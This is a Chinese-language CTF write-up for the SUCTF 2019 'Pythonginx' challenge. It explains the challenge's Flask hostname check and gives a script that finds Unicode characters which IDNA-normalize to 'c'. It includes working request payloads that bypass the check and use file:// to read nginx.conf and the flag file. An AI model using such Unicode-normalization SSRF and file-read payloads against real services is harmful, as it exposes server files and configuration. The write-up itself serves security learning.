[SUCTF 2019]Pythonginx

[SUCTF 2019]Pythonginx

考点

  • Unicode安全性

  • Nginx配置文件

wp

给了源码

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

通过parse.urlparse解析传入的URL,并返回hostname。

url = 'https://www.baidu.com/index.php?tn=monline_3_dg'
host = parse.urlparse(url).hostname
# www.baidu.com

然后使用urlsplit对URL分割为parts列表,再把parts中的hostname赋值给host,然后对host中的字母用inda编码再用utf-8解码,再用.重新拼接。

parts = list(urlsplit(url)) 
# ['https', 'www.baidu.com', '/index.php', 'tn=monline_3_dg', '']
host = parts[1]
newhost = []
for h in host.split('.'):
    newhost.append(h.encode('idna').decode('utf-8'))
# newhost ['www', 'baidu', 'com']
parts[1] = '.'.join(newhost)
# ['https', 'www.baidu.com', '/index.php', 'tn=monline_3_dg', '']

去掉parts中的空格后,再用parse.urlparse解析。

finalUrl = urlunsplit(parts).split(' ')[0]
# https://www.baidu.com/index.php?tn=monline_3_dg
host = parse.urlparse(finalUrl).hostname
# www.baidu.com

最后如果host是suctf.cc就发送请求,否则给出错误提示,这里就是一个矛盾,不能输入suctf.cc最后结果却是suctf.cc

if host == 'suctf.cc':
    return urllib.request.urlopen(finalUrl).read()
else:
    return "我扌 your problem? 333"

代码里面有个很奇怪的地方,host为什么要用idna编码,查一下就可以查到相关的资料,在blackhat有个议题Host/Split Exploitable Antipatterns in Unicode Normalization

写脚本爆破,找一个能表示c的Unicode字符

# coding:utf-8 
for i in range(128,10000):
    tmp = chr(i)
    try:
        res = tmp.encode('idna').decode('utf-8') 
        if res == 'c':
            print(i,str(hex(i)))
            eval(f"print('\\u{str(hex(i))[2:]}'.encode())")
            
    except: 
        pass

得到结果

8450 0x2102
b'\xe2\x84\x82'
8493 0x212d
b'\xe2\x84\xad'
8557 0x216d
b'\xe2\x85\xad'
8573 0x217d
b'\xe2\x85\xbd'
9400 0x24b8
b'\xe2\x92\xb8'
9426 0x24d2
b'\xe2\x93\x92'

传入参数 getUrl?url=http://suctf.c%e2%93%92/,成功访问

接着可以使用file协议读取文件 getUrl?url=file://suctf.c%e2%93%92/usr/local/nginx/conf/nginx.conf

得到结果

server {
    listen 80;
    location / {
        try_files $uri @app;
    }
    location @app {
        include uwsgi_params;
        uwsgi_pass unix:///tmp/uwsgi.sock;
    }
    location /static {
        alias /app/static;
    }
    # location /flag {
    #     alias /usr/fffffflag;
    # }
}

读取flag getUrl?url=file://suctf.c%e2%93%92/usr/fffffflag

小结

  1. Nginx目录

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

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